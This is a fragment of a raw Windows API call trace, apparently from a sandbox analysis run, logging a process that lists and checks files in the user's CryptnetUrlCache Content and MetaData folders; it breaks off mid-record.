HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0121.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0121.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0121.468] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0121.468] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.469] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.469] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.469] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.469] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.469] PathFindFileNameW (pszPath="") returned="" [0121.469] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.472] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0121.473] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0121.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0121.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0121.474] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0121.475] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0121.475] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0121.475] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0121.475] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0121.475] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0121.475] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0121.475] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0121.475] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, 